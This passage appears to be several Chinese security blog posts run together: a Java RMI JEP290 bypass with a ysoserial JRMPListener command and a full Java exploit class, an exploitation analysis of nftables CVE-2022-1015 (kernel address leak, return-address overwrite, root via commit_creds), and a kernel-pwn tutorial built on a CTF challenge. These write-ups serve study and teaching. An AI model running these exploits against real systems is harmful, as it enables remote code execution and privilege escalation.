checkResolve() 方法,跟进 跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。 在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法 readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进 而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。 这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法 对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个: return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var 而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤 0x04 JEP290 绕过 这里我们可以先看一下白名单里面都能过什么,白名单如下 String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class 这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass 绕过利用 思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样 先用 ysoserial 开启 JRMP 3333 端口的监听 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc" 然后编写 RMI 的 EXP import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class BypassJEP290 {    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {                Registry.class       }, obj);        reg.bind("Hello",proxy);   } } 这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。 绕过分析 我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象 当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信 这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化 接着来看看 yso 中的 JRMPClient 是做了什么操作 ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {    Registry.class }, obj); return proxy; 这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去: 这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下 readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io)     // 从此处开始,会遇到很多字节码不匹配的问题 dispatch:92, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:469, UnicastServerRef (sun.rmi.server) dispatch:301, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) 一路跟进到 sun.rmi.transport.LiveRef#read 可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。 跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。 到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进 releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法 var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息 接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下 里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。 在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。 invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP 至此绕过分析结束 0x05 小结 本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。
Nftables栈溢出漏洞(CVE-2022-1015)复现
背景介绍 Nftables Nftables 是一个基于内核的包过滤框架,用于 Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。 钩子点(Hook Point) 钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作。 // include/uapi/linux/netfilter_ipv4.h #define NF_IP_PRE_ROUTING   0 /* After promisc drops, checksum checks. */ #define NF_IP_LOCAL_IN       1 /* If the packet is destined for this box. */ #define NF_IP_FORWARD       2 /* If the packet is destined for another interface. */ #define NF_IP_LOCAL_OUT     3 /* Packets coming from a local process. */ #define NF_IP_POST_ROUTING   4 /* Packets about to hit the wire. */ #define NF_IP_NUMHOOKS       5 Nftables的架构 Nftables由四部分组成 table(表):用于指定网络协议的类型,如ip,ip6,arp等 chains(链):用于指定流量的类型,如流入的流量或者是流出的流量并可以指定网络接口,如本地回环接口或者以太网接口等。 rules(规则):规则是用于过滤数据包所依据的规则,例如检查协议、来源、目的地、端口等规则。 express(表达式):表达式则是具体的操作。 使用非常形象的图描述,如下 表达式(express) 表达式是对一个数据包具体的操作,这里大致介绍后续需要用到的表达式。 nft_payload nft_payload用于将数据包的值拷贝到寄存器中 struct nft_payload { enum nft_payload_bases base:8; u8 offset; u8 len; u8 dreg; }; base:数据包类型 offset:数据包起始位置的偏移 len:拷贝的长度 dreg:目的寄存器 其中base的类型由enum nft_payload_bases指定 /* include/uapi/linux/netfilter/nf_tables.h */ /** * enum nft_payload_bases - nf_tables payload expression offset bases * * @NFT_PAYLOAD_LL_HEADER: link layer header * @NFT_PAYLOAD_NETWORK_HEADER: network header * @NFT_PAYLOAD_TRANSPORT_HEADER: transport header * @NFT_PAYLOAD_INNER_HEADER: inner header / payload */ enum nft_payload_bases { NFT_PAYLOAD_LL_HEADER, //链路层 NFT_PAYLOAD_NETWORK_HEADER, //网络层 NFT_PAYLOAD_TRANSPORT_HEADER, //传输层 NFT_PAYLOAD_INNER_HEADER, //数据包内部 }; 下面这个例子则是将传输层的包偏移16个字节的位置,取出两个字节的内容存放到目的寄存器中,该寄存器的编号为2 base = NFT_PAYLOAD_TRANSPORT_HEADER offset = 16 -> the checksum is 16 bytes away from the start of the TCP header len = 2 -> the checksum is 2 bytes dreg = NFT_REG32_02 (the small registers start frrom NFT_REG32_00) nft_payload_set nft_payload_set则是与nft_payload相反,该表达式是将指定寄存器的值存放到数据包里面 /* include/net/netfilter/nf_tables_core.h */ struct nft_payload_set { enum nft_payload_bases base:8; u8 offset; u8 len; u8 sreg; u8 csum_type; u8 csum_offset; u8 csum_flags; }; 与nft_payload不同的是多了校验和的可选选项 nft_cmp_expr nft_cmp_expr表达式则是用于比较,通常用于判断数据包的端口号是否是需要符合要求。 struct nft_cmp_expr { struct nft_data data; u8 sreg; u8 len; enum nft_cmp_ops op:8; }; data:用于设置比较的常量值 sreg:源寄存器,可以认为是数据包取出的内容 len:比较的长度 op:比较的操作,具体操作类型如下所示 <!-- -->/** * enum nft_cmp_ops - nf_tables relational operator * * @NFT_CMP_EQ: equal * @NFT_CMP_NEQ: not equal * @NFT_CMP_LT: less than * @NFT_CMP_LTE: less than or equal to * @NFT_CMP_GT: greater than * @NFT_CMP_GTE: greater than or equal to */ enum nft_cmp_ops { NFT_CMP_EQ, NFT_CMP_NEQ, NFT_CMP_LT, NFT_CMP_LTE, NFT_CMP_GT, NFT_CMP_GTE, }; nft_bitwise nft_bitwise用于对数据包进行比特级别的操作。例如移位,掩码设置等。 struct nft_bitwise { u8 sreg; u8 dreg; enum nft_bitwise_ops op:8; u8 len; struct nft_data mask; struct nft_data xor; struct nft_data data; }; sreg:源寄存器 dreg:目的寄存器,用于存放最后的结果 op:指定具体的比特操作,具体操作如下 <!-- -->/** * enum nft_bitwise_ops - nf_tables bitwise operations * * @NFT_BITWISE_BOOL: mask-and-xor operation used to implement NOT, AND, OR and *                   XOR boolean operations * @NFT_BITWISE_LSHIFT: left-shift operation * @NFT_BITWISE_RSHIFT: right-shift operation */ enum nft_bitwise_ops { NFT_BITWISE_BOOL, NFT_BITWISE_LSHIFT, NFT_BITWISE_RSHIFT, }; mask:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与mask中指定的值进行掩码设置操作。并将结果存放到dreg中 xor:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与xor中指定的值进行掩码设置操作。并将结果存放到dreg中 data:当op被指定为NFT_BITWISE_LSHIFT或NFT_BITWISE_RSHIFT时,data需要被指定移位的数值。 寄存器(register) 在Nftables中是以寄存器作为存储区,用于存放一段连续的内存,现在Nftables版本每个寄存器的值存放4字节数据,而旧版的Nftables的每个寄存器是存放16个字节的数据,为了保持兼容性,4字节的寄存与16字节的寄存器都被保留。寄存器的枚举值如下所示 enum nft_registers { NFT_REG_VERDICT, //判定寄存器 NFT_REG_1, NFT_REG_2, NFT_REG_3, NFT_REG_4, __NFT_REG_MAX, NFT_REG32_00 = 8, NFT_REG32_01, NFT_REG32_02, ... NFT_REG32_13, NFT_REG32_14, NFT_REG32_15, }; 其中NFT_REG_VERDICT被称之为判断寄存器,这个寄存器比较特殊,是用于判定每个数据包需要怎么处理。判定的类型如下 NFT_CONTINUE:允许数据包通过防火墙 NFT_BREAK:跳过剩余的规则表达式 NF_DROP:直接丢弃数据包 NF_ACCEPT:接收数据包 NFT_GOTO:跳转到其他链执行 NFT_JUMP:跳转到其他链执行,若其他链将该数据包判定为NFT_CONTINUE则返回当前链 libmnl与libnftnl 由于Nftables处于内核,需要从用户层向内核发送消息去设置需要拦截数据包的属性,人工构造成本较大,因此使用现成的库libmnl与libnftnl 环境搭建 环境版本 ubuntu 20.04 qemu-system-x86_64 4.2.1 Linux-5.17源码 设置编译选项 cd /home/pwn/CVE/CVE-2022-1015/CVE-2022-1015/linux-5.17 sudo gedit .config #将下列选项设置为y CONFIG_NF_TABLES=y CONFIG_NETFILTER_NETLINK=y CONFIG_USER_NS=y CONFIG_E1000=y CONFIG_E1000E=y make -j32 bzImage #编译 #安装依赖库 sudo apt-get install libmnl-dev sudo apt-get install libnftnl-dev 漏洞验证 若运行exp显示超过边界则代表没有漏洞 若exp正常运行则代表漏洞 漏洞分析 源码分析 nft_parse_register_load nft_cmp_expr:op=NFT_CMP_EQ sreg=8data=IPPROTO_TCP。该表达式是一个比较的表达式,用于比较下标为8的寄存器中的数据是否为TCP的协议。那么如何将下表为8的寄存器转化为内核中寄存器的内存位置,则需要以来下面列举的函数。 nft_parse_register_load函数就是将用户设定的寄存器的下标转化为内核寄存器的下标,然后存储在源寄存器中。 File: net\netfilter\nf_tables_api.c 9325: int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len) 9326: { 9327: u32 reg; 9328: int err; 9329: 9330: reg = nft_parse_register(attr); //用于提取数据包中的寄存器的下标,并转化为Nftables中寄存器的下标 9331: err = nft_validate_register_load(reg, len); //用于检验寄存器下表的合法性,漏洞点 9332: if (err < 0) 9333: return err; 9334: 9335: *sreg = reg; //然后将寄存器的下标值存储在源寄存器中 9336: return 0; 9337: } nft_parse_register nft_parse_register函数用于将用户设置的寄存器下标转化为内核中寄存器的下标。 File: net\netfilter\nf_tables_api.c 9278: static unsigned int nft_parse_register(const struct nlattr *attr) 9279: { 9280: unsigned int reg; 9281: 9282: reg = ntohl(nla_get_be32(attr)); //提取数据包的寄存器下标,比如上述例子为8 9283: switch (reg) {       //0 - 4是16字节寄存器 9284: case NFT_REG_VERDICT...NFT_REG_4: 9285: return reg * NFT_REG_SIZE / NFT_REG32_SIZE; //reg * 4 9286: default:       //由于4字节寄存器起始下标为8,因此要减去起始下标 9287: return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // reg - 4 9288: } 9289: } nft_validate_register_load nft_validate_register_load函数则是用于校验下标是否有问题,但是这个检验存在整型溢出的问题。reg是枚举值,而枚举通常会被编译为int类型。len代表数据包的长度。 正常情况下:reg = 100,那么套入校验则为100 * 4 + 0x10 = 0x1a0 >0x50,那么会检验出寄存器下标存在问题 漏洞情况:reg =0xffffffff(int情况下的最大值),那么逃入检验则为0xffffffff * 4 +0x10 =0x40000000c,由于int最大值为0xffffffff,那么最高4个比特会被舍弃,那么最后得到的值为0x0000000c,此时0xc< 0x50,就可以绕过检验。那么绕过检验后就会执行* sreg =reg,此时reg = 0xffffffff,就会导致*sreg = 0xff <!-- -->File: net\netfilter\nf_tables_api.c 9313: static int nft_validate_register_load(enum nft_registers reg, unsigned int len) 9314: { 9315: if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) // reg < 4则报错 9316: return -EINVAL; 9317: if (len == 0) //长度为0则报错 9318: return -EINVAL; 9319: if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) //reg * 4 + len > 0x50则报错,存在整型溢出漏洞 9320: return -ERANGE; 9321: 9322: return 0; 9323: } nft_do_chain 每一个被拦截的数据包都需要经过链上的表达式进行处理,而链处理的函数则为nft_do_chains,这个函数会提取出相应的表达式,最后调用expr_call_ops_eval函数进行处理。 File: net\netfilter\nf_tables_core.c 197: unsigned int 198: nft_do_chain(struct nft_pktinfo *pkt, void *priv) 199: {   ... 224: for (; rule < last_rule; rule = nft_rule_next(rule)) { 225: nft_rule_dp_for_each_expr(expr, last, rule) { 226: if (expr->ops == &nft_cmp_fast_ops) 227: nft_cmp_fast_eval(expr, &regs); 228: else if (expr->ops == &nft_bitwise_fast_ops) 229: nft_bitwise_fast_eval(expr, &regs); 230: else if (expr->ops != &nft_payload_fast_ops || 231: !nft_payload_fast_eval(expr, &regs, pkt)) 232: expr_call_ops_eval(expr, &regs, pkt); 233: 234: if (regs.verdict.code != NFT_CONTINUE) 235: break; 236: }   ... expr_call_ops_eval expr_call_ops_eval函数则是根据不同的表达式选择不同的处理函数,例如若该数据包需要经过nft_payload的表达式处理,则会调用nft_payload_eval。 File: net\netfilter\nf_tables_core.c 161: static void expr_call_ops_eval(const struct nft_expr *expr, 162:       struct nft_regs *regs, 163:       struct nft_pktinfo *pkt) 164: { 165: #ifdef CONFIG_RETPOLINE 166: unsigned long e = (unsigned long)expr->ops->eval; 167: #define X(e, fun) \ 168: do { if ((e) == (unsigned long)(fun)) \ 169: return fun(expr, regs, pkt); } while (0) 170: 171: X(e, nft_payload_eval); 172: X(e, nft_cmp_eval); 173: X(e, nft_counter_eval); 174: X(e, nft_meta_get_eval); 175: X(e, nft_lookup_eval); 176: X(e, nft_range_eval); 177: X(e, nft_immediate_eval); 178: X(e, nft_byteorder_eval); 179: X(e, nft_dynset_eval); 180: X(e, nft_rt_get_eval); 181: X(e, nft_bitwise_eval); 182: #undef  X 183: #endif /* CONFIG_RETPOLINE */ 184: expr->ops->eval(expr, regs, pkt); 185: } nft_payload_eval 这里可以看到regs存放在栈上面,dest这个变量值是通过&regs->data[priv->dreg]取出来的,而priv->dreg则是通过上述的nft_parse_register_load函数进行提取的,那么这里就存在一个非常明显的数组越界的漏洞。 File: net\netfilter\nft_payload.c 121: void nft_payload_eval(const struct nft_expr *expr, 122:      struct nft_regs *regs, 123:      const struct nft_pktinfo *pkt) 124: { 125: const struct nft_payload *priv = nft_expr_priv(expr); 126: const struct sk_buff *skb = pkt->skb; 127: u32 *dest = &regs->data[priv->dreg]; ... 165: if (skb_copy_bits(skb, offset, dest, priv->len) < 0) //拷贝数据 166: goto err; 167: return; 168: err: 169: regs->verdict.code = NFT_BREAK; 170: } 因此整型溢出结合越界就能够使我们访问到内核栈上的其他数据,如下图所示。 漏洞利用 漏洞利用分析 现在我们拥有了访问内核栈上其它地址的能力了,想要做到任意代码执行则需要考虑下列几种情况 由于返回地址存在在栈上,需要判断数组越界是否能够到达返回地址的位置 如何通过数组越界改写返回地址 由于需要进行任意代码执行,那么需要用到内核函数,则需要得到内核的程序基地址才能够根据函数偏移地址计算出函数的实际地址 由于表达式都会对寄存器空间进行操作,因此可以使用表达式对内存空间进行读写操作。 nft_bitwise表达式可以控制源寄存器和目的寄存器,那么采用nft_bitwise可以将源寄存器的内容放置到目的寄存器中,因此可以利用nft_bitwise进行越界读,此时需要分析该数组越界读的边界的大小是多少。这里需要注意的是由于len是sreg与dreg共同拥有的,为了dreg不越界,这里的长度最大值只能为0x40而不能为0xff,因为拥有16个寄存器,每个寄存器的值为4个字节,因此16* 4 = 64 = 0x40 上界:(0xffffffff * 4) + 0x40 = 0x40000003c = 0x3c < 0x50 , 0xff* 4 = 0x3fc;由于可以拷贝0x40个字节的长度,因此0x3fc + 0x40 =0x43c。 下界:(0xfffffff0 * 4 ) + 0x40 = 0x400000000 = 0x0 < 0x50, 0xf0 *4 = 0x3c0 内核地址泄露 接着查看regs偏移0x3c0处的地址信息,结果发现在该片区域存在一个明显的内核地址,因此若能将这个地址进行泄露,我们就能获取内核的基地址。 返回地址覆盖 由于需要构建的payload比较长,而我们如果利用nft_wise最多只能写入0x43c -0x3c0 =0x7c的长度,是远远不够的,因此对返回地址进行覆盖时不能使用nft_bitwise,而得改用nft_payload。nft_payload需要dreg的下标以及修改的长度len,由于我们只需要考虑一个寄存器的值,因此该寄存器的长度最大可以达到0xff。因此我们可以在地址更低的位置去搜索有无可以覆盖的返回地址。 可以发现在0x360的地址处也有一个内核的代码段地址 并且可以发现该函数主要是处理udp包的发送 为了检验该地址是否能够修改程序的执行流程,可以使用一个方法,将该地址的值修改为非法值并观察内核是否会崩溃,这里将地址的内容修改为0x1122334455667788,接着运行程序。 可以看到内核报错的信息显示RIP的地址为刚刚我们修改的地址,因此该地址可以作为被劫持程序执行流程的地址。 exp分析 现在我们已经具有了两个利用条件 泄露内核的程序基地址 找到可以劫持程序执行流程的地址值 地址泄露 利用nft_bitwise泄露地址,这里注意的是在使用nft_bitwise泄露地址时,需要将data值设置为0,这样就不会进行移位而导致我们的内核地址被修改存储,最后将泄露的地址值放置在NFT_REG32_05下标的寄存器中 接着使用nft_set_payload将udp数据包的值修改为NFT_REG32_05寄存器的值,最后取出udp数据包的值,获取内核程序地址值 返回地址覆盖 利用nft_payload完成返回地址的覆盖 在数据包中将payload填充进去,这里需要说明一下如何在内核中拿到shell权限 首先需要在内核中拿到root权限,需要调用commit_creds(prepare_kernel_cred(0))的内核函数获取新的凭证结构,而该结构的uid = 0 ,gid =0即为root权限 其次需要切换命名空间,由于在普通用户下是无法直接调用Nftables的,因为需要管理员的权限,因此在普通用户下需要新开辟一个命名空间,使得该空间与正常的空间隔离,此时才能够正常执行Nftales。那么如果逃逸这段命名空间则需要进行命名空间的切换,则依赖于switch_task_namespace函数,可以将命名空间切换为root的命名空间 最后则是实现从内核态切换到用户态,由于我们是在内核空间拿到权限,而我们需要在用户态执行,因此需要完成状态的转换,该状态转换依赖于swapgs_restore_regs函数 漏洞修复 补丁则是新增一条判断条件,属于4字节寄存器的下标单独处理,而不在16字节寄存器以及4字节寄存器的范围内的下标都进行报错处理 总结 Nftables栈溢出漏洞攻击流程 首先利用nft_bitwise进行内核基地址的泄露。 其次是利用nft_payload改写返回地址,并将提权代码注入进去。 最后等到代码被触发。 Nftables栈溢出漏洞利用的限制 不同的内核版本的内核栈布局几乎不同,因此不同版本之间的利用手法相差较大,因此漏洞的利用十分依赖于内核版本,针对不同的版本需要做出针对性的漏洞利用的exp编写。差别存在于内核栈中存在的内核代码段地址的偏移不同,例如有些内核代码段地址偏移距离regs太大,导致无法利用漏洞进行泄露或者改写。
kernel pwn入门
Linux Kernel 介绍 Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。 Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负责管理计算机硬件和软件资源,并为应用程序提供必要的基础支持。Linux内核是一个模块化的系统,可以根据需要加载和卸载各种驱动程序和功能模块。 Linux Kernel 环境 vmlinuz或bzImage:linux内核的压缩镜像 vmlinux:linux内核的符号表 initramfs.cpio.gz:文件系统,有系统启动的信息 run.sh:qemu启动的shell脚本,里面有linux内核开启了哪些保护 Linux Kernel gadget获取 通过压缩的linux内核镜像获取符号表 ./extract-image.sh ./vmlinuz > vmlinux extract-image.sh #!/bin/sh # SPDX-License-Identifier: GPL-2.0-only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # Inspired from extract-ikconfig # (c) 2009,2010 Dick Streefland <dick@streefland.net> # # (c) 2011     Corentin Chary <corentin.chary@gmail.com> # # ---------------------------------------------------------------------- check_vmlinux() { # Use readelf to check if it's a valid ELF # TODO: find a better to way to check that it's really vmlinux #       and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 } try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } # Check invocation: me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img" ] then echo "Usage: $me <kernel-image>" >&2 exit 2 fi # Prepare temp files: tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp" 0 # That didn't work, so retry after decompression. try_decompress '\037\213\010' xy   gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh'         xy   bunzip2 try_decompress '\135\0\0\0'   xxx   unlzma try_decompress '\211\114\132' xy    'lzop -d' try_decompress '\002!L\030'   xxx   'lz4 -d' try_decompress '(\265/\375'   xxx   unzstd # Finally check for uncompressed images or objects: check_vmlinux $img # Bail out: echo "$me: Cannot find vmlinux." >&2 ROPgadget获取 不建议用ROPgadget,速度比较慢 ROPgadget --binary ./vmlinux > gadgets.txt Ropper获取 使用ropper速度会比较快 ropper --file ./vmlinux --nocolor > g 直接获取 ./vmlinux > gadgets.txt 然后搜索 cat gadgets.txt | grep 'pop' 文件系统 解包 mkdir initramfs cd initramfs cp ../initramfs.cpio.gz . gunzip ./initramfs.cpio.gz cpio -idm < ./initramfs.cpio rm initramfs.cpio 打包 gcc -o exploit -static $1 mv ./exploit ./initramfs cd initramfs find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > initramfs.cpio.gz mv ./initramfs.cpio.gz ../ Linux Kernel的保护措施 Kernel stack cookies【canary】:防止内核栈溢出 Kernel address space layout【KASLR】:内核地址随机化 Supervisor mode executionprotection【SMEP】:内核态中不能执行用户空间的代码。在内核中可以将CR4寄存器的第20比特设置为1,表示启用。 开启:在-cpu参数中设置+smep 关闭:nosmep添加到-append Supervisor Mode AccessPrevention【SMAP】:在内核态中不能读写用户页的数据。在内核中可以将CR4寄存器的第21比特设置为1,表示启用。 开启:在-cpu参数中设置+smap 关闭:nosmap添加到-append Kernel page-tableisolation【KPTI】:将用户页与内核页分隔开,在用户态时只使用用户页,而在内核态时使用内核页。 开启:kpti=1 关闭:nopti添加到-append hxpCTF 2020 kernel-rop 这里使用hxpCTF2020的内核题作为例子,对内核中的保护以及如何绕过做简单介绍。 项目地址:https://github.com/h0pe-ay/Kernel-Pwn hackme_read 这个函数会将内核栈的数据拷贝到用户空间中去,因此可以利用改函数泄露内核栈的信息 hackme_write hackme_write这个函数则是从用户空间拷贝数据到内核栈中,但是变量V5的存储空间是远远小于从用户态中可以传的数据的大小,因此导致了出现内核态栈溢出。 动态调试 首先在启动脚本run.sh中加入-s的参数,使得可以使用gdb对qemu进行调试 其次可以使用lsmod查看模块加载的基址,这里需要注意的是需要先将启动脚本中的权限改为0 否则直接运行不会显示模块的地址,结果如下 将权限修改为0之后,就可以正常显示了 然后通过gdb进行调试时则可以将模块的基地址加入进去,使用add-symbol-file hackme.ko 0xffffffffc0000000 接着是从题目给的内核镜像中提取符号信息,通过./extract-image.sh vmlinuz > vmlinux,并且也加载到gdb中 最后就可以开启远程调试了,target remote:1234 这里需要注意的是ida中显示的地址可能不准确,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme 在hackme_write中打下断点 这里我遇到个问题是在遇到push指令时不能够使用ni进行跟踪,而是需要si,否则会跑飞。 使用ni进行单步调试,程序会直接运行,无法断下来。 使用si则可以单步 至此就可以对hackme.ko的模块进行调试了。 未开启保护 首先是关闭内核中所有的保护,在遇到内核栈溢出时需要怎么完成漏洞利用。 run.sh 在append使用使用nosmap、nosemp、nokaslr、nopti关闭smap、semp、kaslr以及kpti的保护 qemu-system-x86_64 \    -m 128M \    -cpu kvm64\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \    -s ret2user 由于题目没有开启任何保护,因此首要使用的方法就是利用栈溢出修改内核栈上的返回地址。 首先检查一下保护,发现hackme.ko开启的canary的保护,因此想要完成栈溢出,首先需要泄露canary,由于题目本身就存在地址泄露功能,因此只要确保我们读取的内容包括canary的值即可 在hackme_read中打下断点,查看变量v6中存储了什么值,由于程序是通过memcpy进行数据拷贝的,因此直接查看RSI寄存器对应的数据 可以发现canary的值就在其中,因此利用hackmeread这个函数就可以将数据泄露出来 这里需要注意的是,虽然题目限制的长度是0x1000,但是并不能将拷贝0x1000的长度,因为可能会在不可读的地址中获取数据,导致了执行错误。 在泄露canary后就可以劫持程序执行流程了,与用户态不同,在内核态需要先获取root凭证,在切换到用户态下。 prepare_kernel_cred函数 prepare_kernel_cred函数用于为内核中的进程(也就是进程的内核线程)创建一个新的cred 结构体,该结构体包含有关进程的安全上下文信息,例如UID、GID、capabilities 等。 commit_creds函数 commit_creds 函数接受一个指向 cred结构体的指针,并将其分配给当前进程。该函数通常在进程启动时调用,以确保进程被正确配置以拥有所需的权限。 因此调用prepare_kernel_cred(0)可以获取root权限的凭证,接着调用commit_creds函数,就可以将当前进程的特权修改为root。即指向commit_creds(prepare_kernel_cred(0)) 在获取完root之后则需要调用swags指令进行GS寄存器的切换,即将g_base与k_gs_base的值进行交换,swapgs是一个汇编指令,用于在执行内核代码期间切换当前 CPU 的内核栈和 GS寄存器。完成交换之后才能确保在用户态的寻址不会存在问题。 执行swags指令之前 执行swags指令之后 最后则是切换回用户态,iretq 指令是 x86架构下用于从中断处理程序(或系统调用处理程序)返回到用户空间的指令。它是iret 指令的 64 位版本,用于在 64 位模式下使用。 iretq 指令有以下三个功能: 恢复处理器的标志寄存器 (EFLAGS)的值,以便返回到原始程序的执行上下文。 恢复程序计数器 (Instruction Pointer, RIP)的值,以便返回到原始程序的执行点。 恢复栈指针 (Stack 